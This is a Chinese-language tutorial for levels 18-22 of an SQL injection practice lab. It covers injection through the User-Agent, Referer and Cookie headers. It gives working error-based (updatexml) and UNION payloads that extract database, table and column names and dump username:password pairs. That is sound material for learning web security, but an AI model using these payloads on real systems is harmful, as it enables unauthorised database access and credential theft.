目錄
【sql靶場】第18-22關-htpp頭部注入保姆級教程
1.回顧知識
1.http頭部
2.報錯注入
2.第十八關
1.嘗試
2.爆出數據庫名
3.爆出表名
4.爆出字段
5.爆出賬號密碼
3.第十九關
4.第二十關
5.第二十一關
6.第二十二關
【sql靶場】第18-22關-htpp頭部注入保姆級教程
1.回顧知識
1.http頭部
HTTP請求頭部有一些常用的字段,這些字段提供了關于請求的詳細信息,以及客戶端和服務器之間的交互方式。下面是一些常見的HTTP請求頭部字段:
- User-Agent:這個頭部字段提供了關于發送請求的應用程序或瀏覽器的信息。它通常包括應用程序的名稱、版本和使用的操作系統等信息。例如,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36。
- Accept:這個頭部字段指定客戶端能夠處理的數據類型,例如文本、HTML、圖片、音頻等。通過這個字段,服務器可以了解客戶端支持的內容格式,并相應地返回數據。
- Accept-Language:這個頭部字段指定客戶端接受的語言類型和優先級。例如,Accept-Language: en-US,en;q=0.5。這有助于服務器返回與客戶端語言偏好匹配的內容。
- Cookie:這個頭部字段用于在客戶端和服務器之間傳遞會話信息。Cookie通常用于保存用戶的登錄狀態、購物車內容等。服務器通過讀取Cookie頭部字段中的值,可以識別用戶或恢復會話狀態。
- Host:這個頭部字段指定要訪問的服務器地址。對于DNS解析后的域名或IP地址,服務器可以使用Host頭部來找到相應的資源。例如,Host: www.example.com。
- Referer:這個頭部字段指定請求來源網頁的URL。當用戶從一個網頁跳轉到另一個網頁時,瀏覽器會發送Referer頭部,以便服務器知道原始頁面的來源。
- Authorization:這個頭部字段用于向服務器提供身份驗證信息,例如Bearer token或Basic authentication。當用戶需要登錄或授權訪問特定資源時,瀏覽器會發送包含身份驗證信息的Authorization頭部。
2.報錯注入
1.報錯注入深解
有則利用報錯顯示進行注入,讓報錯里面攜帶所需的查詢信息
可以通過列數不同進行判斷是否有報錯,但是報錯注入一般是讓報錯函數通過構造?非法XPath表達式強制觸發數據庫解析錯誤,其核心原理與字段數無關,原因是字段數不匹配錯誤發生在 ?結果集構造階段(如 UNION
前后字段數不一致)報錯注入的異常發生在 ?條件解析階段(如XPath解析失敗),早于結果集生成,無論主查詢返回3個字段還是其他數量,條件邏輯僅影響數據過濾,不涉及字段數對比?
2.報錯注入格式
一般是通過updatexml與 extractvalue進行構造?非法XPath表達式
?id=1' and updatexml(1,concat(0x7e,(子查詢語句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查詢語句),0x7e))--+
3.使用的函數
concat:將同一行中多個字段的值拼接為單個字符串,適用于單行多列數據的合并?
group_concat:某一列的數據聚合,適用于單列多行數據的合并?
兩個可以組合使用----每次先將行中的兩個字段進行拼接成字符串再進行列的每行數據聚合
GROUP_CONCAT(CONCAT(col1, col2))
區別:
concat適用于需要精準提取特定行數據的場景(如管理員賬號)?。需多次請求,效率較低?
group_concat單次請求獲取數據,但需手動拼接分片結果?。適用于快速批量泄露(如全表用戶密碼)
問題:
在利用 updatexml 進行報錯注入時,可能會因為查詢結果因長度限制顯示不全,可通過以下兩種方法解決:mid()或 substr()分片截取數據,規避 updatexml() 的32字符長度限制?
使用的語法:
limit 0,1:從第0行開始,獲取1條數據。逐次修改起始位置(如 limit 1,1、limit 2,1)遍歷所有記錄?
substr(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),
逐次修改 start 參數(如 32、63)循環獲取后續內容?。
mid(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),
逐次修改 start 參數(如 32、63)循環獲取后續內容?。
區別:
substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,兩者語法和功能完全一致?,但是一般使用 mid(),功能相同但兼容性更佳?,可無縫替代 substr避免潛在語法沖突?。
?特性? | concat + limit | group_concat + substr/mid |
---|---|---|
?數據范圍? | 單行數據 | 多行聚合數據 |
?輸出格式? | 單條記錄(如 user~pass ) | 多條記錄合并(如 user1~pass1,user2~pass2 ) |
?注入效率? | 需多次請求遍歷數據 | 單次請求獲取多行數據 |
?長度限制處理? | 直接適配單行輸出長度 | 需通過 substr 分段截取避免超長截斷? |
2.第十八關
1.嘗試
在這里的輸入框分別進行單引號雙引號測試,不行
同時輸入賬號密碼再在其中一個里面進行注入測試,不行
嘗試輸入正確賬號,隨機密碼進行注入測試,不行
輸入正確賬號密碼,再在輸入框進行注入,不行
輸入正確賬號密碼,不注入,看頁面,結果出現了http頭部的User-Agent信息,既然會有User-Agent信息打印出來,我們就可以嘗試能不能進行注入,進行抓包修改User-Agent,進行注入
發現在User-Agent上修改,會有報錯返回
那既然有報錯返回,我們就可以嘗試進行報錯注入
2.爆出數據庫名
第一次嘗試
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
但是沒有成功報錯注入,而是又報錯了sql語句錯誤,在注釋符那里,很多時候都會有過濾注釋符,最好使用and '1'='1;我比較懶就直接使用了注釋符#,我們嘗試使用and '1'='1
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
結果成功了注入出來數據庫名
3.爆出表名
然后同樣進行注入表名
a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
結果報錯截斷不正確的double值a
我覺得可能是and的問題,因為and必須都為真,于是改為了or
a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
結果依然報錯
我就嘗試將前面的字符a刪除,但是我想嘗試and可不可以,畢竟前面沒有值了
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
結果雖然不會報錯了,但是也沒有了報錯注入返回
于是使用or
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
最終成功注入出來了
但是我后面又想到既然是截斷不正確的double值,?浮點數數據類型?,用于表示帶有小數部分的數值,那我不使用英文字符了,使用數字字符了
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
結果果然沒有報錯了,但是報錯注入的返回也沒有了,那這樣可能是因為截斷了正確的double值,而使用了or,只需要其中一個為真就好,后面的報錯注入直接不看了導致的,那么我又使用回and
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
結果果然也可以爆出表名
4.爆出字段
' or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1) and '1'='1
5.爆出賬號密碼
' or updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) and '1'='1
3.第十九關
這一關爆出http頭部的Referer字段信息,除了注入位置不愿意,剩下的與十八關基本一樣
4.第二十關
這一關爆出http頭部的Cookie字段信息
然后我們可以看到這里將用戶名與密碼和id都顯出來了,我們可以利用這個測試回顯位置進行注入
放掉第一個包
用第二個包
測試字段
' order by 4#
報錯了,說明可以用報錯注入,與十八、十九關操作基本一樣,但是這一關有回顯就不用這么麻煩,發現字段不是4
' order by 3#
沒有報錯,則是三
測試回顯
' union select 1,2,3#
發現全部回顯,id為1,name為2,password為3,進行注入
爆出數據庫名
' union select 1,2,database()#
爆出全部
這里為了方便就不一條一條爆出來了,直接用三個回顯爆出全部信息,一般來說要一個一個來,因為你知道數據庫名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出賬號密碼
' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#
5.第二十一關
這一關與第二十關十分相似,但是又有所不同
首先登入看頁面,發現也是Cookie字段信息
結果發現語句name在打印里面還變成了一串奇怪語句
我們去后端查看
if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600); echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>"; echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }}
在里面我們可以看到有這么一句
setcookie('uname', base64_encode($row1['username']), time()+3600);
這一句使得我們注入的語句要進行base64編碼才能夠注入
進行編碼
') union select 1,2,database()#
報錯了,查看報錯發現是閉合方式錯誤,改成')閉合
這里為了方便就不一條一條爆出來了,直接用三個回顯爆出全部信息,一般來說要一個一個來,因為你知道數據庫名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出賬號密碼
') union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#
6.第二十二關
這一關閉合方式為",剩下的與第二十一關基本一樣。